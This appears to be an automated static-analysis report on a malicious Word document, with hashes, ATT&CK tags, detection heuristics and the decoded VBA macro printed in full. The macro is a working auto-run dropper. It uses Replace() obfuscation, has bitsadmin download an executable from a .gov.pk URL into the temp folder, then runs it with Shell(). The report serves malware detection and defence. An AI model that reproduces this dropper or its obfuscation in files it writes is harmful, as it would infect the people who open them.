Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d0efc144d6f70e2b…

MALICIOUS

Office (OLE)

114.5 KB Created: 2019-03-09 08:53:00 Authoring application: Microsoft Office Word First seen: 2020-09-24
MD5: 427850a7962cd631e39130ac56f06b80 SHA-1: 474dc9e7d17a527797ec678457df7d7951afa813 SHA-256: d0efc144d6f70e2b578342a84470ff58df2476c18377ecb6cfe687ec2759e36e
338 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro that executes upon opening the document. This macro constructs a URL to download a second-stage executable and saves it to the user's public documents folder. It then attempts to execute this downloaded file using the 'Shell()' function, indicating a downloader or dropper functionality. The obfuscated nature of the macro and the use of WScript.Shell point towards a malicious intent to compromise the system.

Heuristics 10

  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell (trfutyjnih)
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set yuijtrhb = CreateObject("WScript.Shell")
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set yuijtrhb = CreateObject("WScript.Shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set yuijtrhb = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    trfutyjnih = Environ$(Replace("taaampaaa", "aaa", "")) & "\" & Replace("\filenameabc", "abc", ".exe")
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1126 bytes
SHA-256: 7ae30d1d6f66db0320efbf51861257b09c7e906e2970ff753ae1f82c37e87fcc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()

dfgfdgfg

End Sub

Sub dfgfdgfg()

fgthdfggffghgf = Replace(("hhhfda.gov.pk/assets/uploads/GalleryAlbumImages/crhome%20Crash%20handlerabc"), "abc", ".exe")

gggg = Replace(fgthdfggffghgf, "hhh", "http://")

Set yuijtrhb = CreateObject("WScript.Shell")

trfutyjnih = Environ$(Replace("taaampaaa", "aaa", "")) & "\" & Replace("\filenameabc", "abc", ".exe")

yuijtrhb.Run Replace(("abcbitsabcadmin /transabcfer myFabcile /downlabcoad /priorabcity norabcmal "), "abc", "") & gggg & " " & trfutyjnih, Replace("050", "50", ""), Replace("Fa50lse", "50", "")

rthybfhd (60)

Shell (trfutyjnih)

End Sub

Sub rthybfhd(sec)

    Dim temp

    temp = Timer

    Do While Timer - temp < sec

    Loop

End Sub


Attribute VB_Name = "NewMacros"
Sub my()
'
' my Macro
'
'

End Sub